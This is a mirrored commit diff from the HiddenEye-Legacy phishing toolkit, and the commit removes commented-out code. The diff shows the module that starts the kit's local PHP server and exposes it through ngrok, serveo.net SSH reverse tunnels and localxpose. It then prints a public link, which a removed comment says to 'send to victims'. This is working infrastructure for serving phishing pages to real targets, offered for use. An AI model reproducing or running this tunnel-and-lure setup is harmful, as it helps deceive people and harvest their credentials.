mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Removed useless commented code
This commit is contained in:
parent
4839f5ba25
commit
2e5368e873
|
@ -80,26 +80,12 @@ def set_port(port=80):
|
|||
|
||||
|
||||
def start_server(port=80):
|
||||
# run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null",
|
||||
# "2>&1"**/])
|
||||
set_port(port)
|
||||
# enter_server_www
|
||||
# run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">",
|
||||
# "/dev/null", "2>&1", "&"])
|
||||
set_php(port=port)
|
||||
# exit_server_www
|
||||
|
||||
|
||||
def start_localhost(port):
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
|
||||
# '')
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -108,29 +94,19 @@ def start_localhost(port):
|
|||
host = "127.0.0.1"
|
||||
print(localization.lang_start_localhost["your_localhost_is"] + host)
|
||||
set_port()
|
||||
# run_command("cd Server/www/
|
||||
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
|
||||
|
||||
enter_server_www
|
||||
set_php(host, port)
|
||||
print(localization.lang_start_localhost[
|
||||
"starting_server_on_addr"] + "{0}:{1}".format(host, port))
|
||||
# wait(2)
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
# ''')
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_localhost["running_localhost_server"])
|
||||
|
||||
# print("-
|
||||
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
|
||||
print(localization.lang_start_localhost["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '{0}:{1}\n'.format(host, port))
|
||||
|
@ -138,43 +114,26 @@ def start_localhost(port):
|
|||
|
||||
def start_ngrok(port):
|
||||
ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml"
|
||||
# ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") # Will be easier to input
|
||||
# later
|
||||
|
||||
run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
# ''')
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_ngrok["ngrok_server"])
|
||||
# run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL)
|
||||
# chmod('Server', 0o777)
|
||||
# run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL,
|
||||
# stderr=DEVNULL)
|
||||
|
||||
ngrok.connect(port=int(port))
|
||||
# currentDirectory = os.getcwd() #DELETE
|
||||
# print(currentDirectory) #DELETE
|
||||
|
||||
while True:
|
||||
wait(2)
|
||||
# urlFile = open('link.url', 'w')
|
||||
# run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced
|
||||
# urlFile = open('link.url', 'r')
|
||||
# url = urlFile.read()
|
||||
|
||||
ngrok_tunnels = ngrok.get_tunnels()
|
||||
url = ngrok_tunnels[0].public_url
|
||||
# urlFile.close()
|
||||
|
||||
if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None:
|
||||
# print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||
# \n{0}[{1}*{0}]{1} NGROK URL: {2}".format(
|
||||
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||
# print("\n")
|
||||
|
||||
print(localization.lang_start_ngrok["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
|
@ -192,23 +151,13 @@ def start_serveo(port):
|
|||
|
||||
def random(port):
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
#
|
||||
# ''')
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_random_server"])
|
||||
|
||||
# run_command('ssh -o StrictHostKeyChecking=no -o
|
||||
# ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2>
|
||||
# /dev/null &' % (port))
|
||||
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R',
|
||||
'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
wait(8)
|
||||
|
@ -216,11 +165,7 @@ def start_serveo(port):
|
|||
output = check_output(
|
||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||
url = output.decode("utf-8")
|
||||
# print("-\n
|
||||
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||
|
||||
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||
# print("\n")
|
||||
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
|
@ -233,17 +178,7 @@ def start_serveo(port):
|
|||
return random(port)
|
||||
|
||||
def custom(port):
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
|
||||
# \n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n
|
||||
|
||||
# \n
|
||||
# \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -258,10 +193,7 @@ def start_serveo(port):
|
|||
lnk += ".serveo.net"
|
||||
else:
|
||||
pass
|
||||
# run_command('ssh -o StrictHostKeyChecking=no -o
|
||||
# ServerAliveInterval=60 -o ServerAliveCountMax=60 -R
|
||||
# %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk,
|
||||
# port))
|
||||
|
||||
run_command(
|
||||
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
|
||||
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
|
||||
|
@ -272,22 +204,14 @@ def start_serveo(port):
|
|||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||
url = output.decode("utf-8")
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}
|
||||
# \n-------------------------------'''.format(default_palette[0], default_palette[2]))
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||
|
||||
# print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-
|
||||
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
|
@ -297,9 +221,7 @@ def start_serveo(port):
|
|||
print("\n")
|
||||
|
||||
except CalledProcessError:
|
||||
# print('''\n !!!\n
|
||||
# !!!\n
|
||||
# !! \n''')
|
||||
|
||||
print(localization.lang_start_serveo["failed_to_get_domain"])
|
||||
print(localization.lang_start_serveo["suggestion_to_fix_issue"])
|
||||
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"])
|
||||
|
@ -308,16 +230,7 @@ def start_serveo(port):
|
|||
return custom(port)
|
||||
|
||||
if is_online:
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
|
||||
#
|
||||
#
|
||||
# '''.format(default_palette[0], default_palette[2]))
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -326,7 +239,7 @@ def start_serveo(port):
|
|||
print(localization.lang_start_serveo["serveo_phishing_warning"])
|
||||
print(localization.lang_start_serveo["choose_type_of_url"])
|
||||
|
||||
# print(" \n".format(default_palette[0], default_palette[2]))
|
||||
|
||||
print_sorted_as_menu(localization.lang_start_serveo["url_types"])
|
||||
choice = input(global_localization.input_line)
|
||||
run_command('clear')
|
||||
|
@ -339,7 +252,7 @@ def start_serveo(port):
|
|||
run_command('clear')
|
||||
return start_serveo(port)
|
||||
else:
|
||||
# print("Serveo is DOWN now, do you want to select another option? Y/n")
|
||||
|
||||
print(localization.lang_start_serveo["serveo_is_down"])
|
||||
choice = input("HiddenEye >> ")
|
||||
choice = choice.lower()
|
||||
|
@ -359,7 +272,7 @@ def start_localxpose(port):
|
|||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[1], default_palette[2]))
|
||||
# run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port))
|
||||
|
||||
run_command(['Server/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
wait(8)
|
||||
|
|
Loading…
Reference in New Issue
Block a user